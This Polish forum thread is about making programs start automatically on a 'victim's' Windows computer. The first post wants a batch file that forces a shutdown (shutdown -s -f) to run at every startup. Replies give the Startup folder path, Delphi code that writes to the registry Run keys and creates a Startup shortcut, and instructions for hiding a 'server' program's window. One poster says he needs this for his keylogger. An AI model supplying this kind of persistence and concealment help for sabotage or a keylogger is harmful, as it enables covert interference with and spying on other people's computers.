Jak dodać plik do autostartu??

czesci123

Użytkownik
Dołączył
Sierpień 5, 2007
Posty
162
witajcie chciałem dodać ofierze plik do autostaru oto ten plik:

echo shutdown -s -f>> bat.bat[/b]

wie ktoś może jak ten plik dodać do autostartu??

DAM POMÓGŁ
smile.gif
 

Dark Smark

Były Moderator
Dołączył
Kwiecień 29, 2006
Posty
1953
C:Documents and SettingsNAZWA_USERAMenu StartProgramyAutostart[/b]
Wklej tam program/skrót do programu który ma się uruchamiać przy starcie systemu.

shift

Zmienia pozycję parametrów programu wsadowego, co pozwala na stosowanie więcej niż 10 podstawowych. Programy wsadowe obsługują 9 parametrów (od %1 do %9), podawanych przy uruchamianiu po nazwie programu, oddzielonych od siebie spacją. Nazwa programu jest oznaczana jako parametr zerowy - %0.

Po poleceniu SHIFT parametr %0 jest zapominany, a jego miejsce zajmuje parametr %1. Parametrem %1 zostaje dawny %2 itd... (wartości parametrów przesówane są w lewo). %9 przyjmuje wartość %10 normalnie nieużywanego.

np.:
plik.bat bat com exe program wsadowy został uruchomiony z trzema parametrami

:KOPIOWANIE
if "%1"=="" goto END jeżeli parametr %1 jest pusty - skok do etykiety kończącej
copy a:*.%1 C: kopiowanie wszystkich plików z rozszerzeniem określonym parametrem %1
shift przesunięcie wartości parametrów
goto KOPIOWANIE
:END

Program zostaje uruchomiony z trzema parametrami (w kodzie wykorzystywany jest tylko pierwszy, pozostałe są przesówane na jego miejsce). Zostaje sprawdzone czy parametr %1 nie jest pusty, następuje kopiowanie wszystkich plików *.bat z dyskietki na dysk. shift przesuwa parametry - %1 ma teraz wartość com. Skok do etykiety KOPIOWANIE, sprawdzenie czy %1 nie jest pusty, skopiowanie plików *.com. Ponowne przesunięcie - teraz %1 wynosi exe. Skok do etykiety KOPIOWANIE, sprawdzenie %1, skopiowanie wszystkich plików *.exe. Znowu przesunięcie, teraz parametr %1 jest pusty. Skok do etykiety KOPIOWANIE, sprawdzenie czy %1 nie jest pusty, skoro jest następuje skok do etykiety END.

//źródło http://www.informatyka.ibt.pl/dos/polecenia_bat.htm [/b]

POMOCNE!:
http://komputery.katalogi.pl/Autostart_programu-t108615.html
 

akselekbezelek

Użytkownik
Dołączył
Czerwiec 4, 2007
Posty
334
albo jesli program piszesz w delphi to

Autorun programu

Jak uruchomić program przy starcie systemu?

Mamy do wyboru:

Zapisanie odpowiedniej wartości w rejestrze Windows.
Należy wpisać ścieżkę dostępu do programu w odpowiednim kluczu rejestru.

Tutaj jest kilka kluczy do wyboru:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce

W tym miejscu należy dodać, że do pierwszych dwóch kluczy należy się odwołać, gdy zależy Ci na tym by program był uruchamiamy po zalogowaniu użytkownika. Natomiast klucze w punktcie 3 i 4 powodują uruchomienie programu przed zalogowaniem użytkownika.

Oto przykładowy kod procedury:

uses Registry;

procedure TForm1.AutoRun;
var
Reg : TRegistry;
begin
Reg := Tregistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun', False);
Reg.WriteString('MójProgram',Application.Exename);
Reg.CloseKey;
Reg.Relase;
end;
Utworzenie skrótu w Menu Start w grupie Autostart.
Oto przykładowy kod procedury:
uses ShlObj, ActiveX, ComObj, Registry;
procedure TForm1.AutoRun;
var
MyObject:IUnknown;
MySLink:IShellLink;
MyPFile:IPersistFile;
FileName:String;
Directory:String;
WFileName:WideString;
Reg:TRegistry;
begin
MyObject:=CreateComObject(CLSID_ShellLink);
MySLink:=MyObject as IShellLink;
MyPFile:=MyObject as IPersistFile;
FileName:=Application.Exename;
with MySLink do
begin
SetArguments('C:AUTOEXEC.BAT');
SetPath(PChar(FileName));
SetWorkingDirectory(PChar(ExtractFilePath(FileName)));
end;
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('SoftwareMicroSoftWindowsCurrentVersionExplorerShell Folders', False);
Directory := Reg.ReadString('Startup')
WFileName := Directory+'Program.lnk';
MyPFile.Save(PWChar(WFileName),False);
Reg.CloseKey;
Reg.Relase;
end;[/b]
a apropo wie kto jak dodac to do autostaru by program dziala w tle ? (potrzebuje do mojego keyloggera)
 

Dark Smark

Były Moderator
Dołączył
Kwiecień 29, 2006
Posty
1953
a apropo wie kto jak dodac to do autostaru by program dziala w tle ? (potrzebuje do mojego keyloggera)[/b]
jest wiele sposobów ukrycia formy.
http://pl.youtube.com/watch?v=T7Z5NfLL5kw
Teraz zrobimy zeby server ukryl sie na komputerze ofiary. Klikamy na forme, i naciskamy CTRL+F12 Pojawi sie okienko: view unit, zaznaczamy project i ok. W kodzie

zrodlowym znajdziesz takie linijki:

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
application.showmainform:=false;// tak jak widac
end.

i przed Appication.Run; wpisujemy

application.showmainform:=false; // server zostanie bedzie nie widoczny na pasku zadan tylko pod klawiszami ALT+CTRL+DEL[/b]
Albo do oncreate formy dodać
form1.hide;

Klikać w pajaca NOW!
 
Do góry Bottom